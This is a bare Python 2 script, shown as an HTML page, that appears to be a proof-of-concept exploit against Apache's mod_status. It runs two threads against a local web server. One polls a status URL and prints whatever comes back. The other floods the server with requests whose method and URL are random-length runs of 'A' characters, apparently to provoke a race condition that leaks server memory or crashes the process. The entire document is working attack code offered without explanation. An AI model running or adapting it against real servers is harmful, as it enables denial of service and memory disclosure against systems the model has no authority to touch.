<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#! /usr/bin/env python
 
    import httplib
    import sys
    import threading
    import subprocess
    import random
 
    def send_request(method, url):
        try:
            c = httplib.HTTPConnection('127.0.0.1', 80)
            c.request(method,url);
            if "foo" in url:
                print c.getresponse().read()
            c.close()
        except Exception, e:
            print e
            pass
 
    def mod_status_thread():
        while True:
            send_request("GET", "/foo?notables")
 
    def requests():
        evil = ''.join('A' for i in range(random.randint(0, 1024)))
        while True:
            send_request(evil, evil)
 
    threading.Thread(target=mod_status_thread).start()
    threading.Thread(target=requests).start()
</pre></body></html>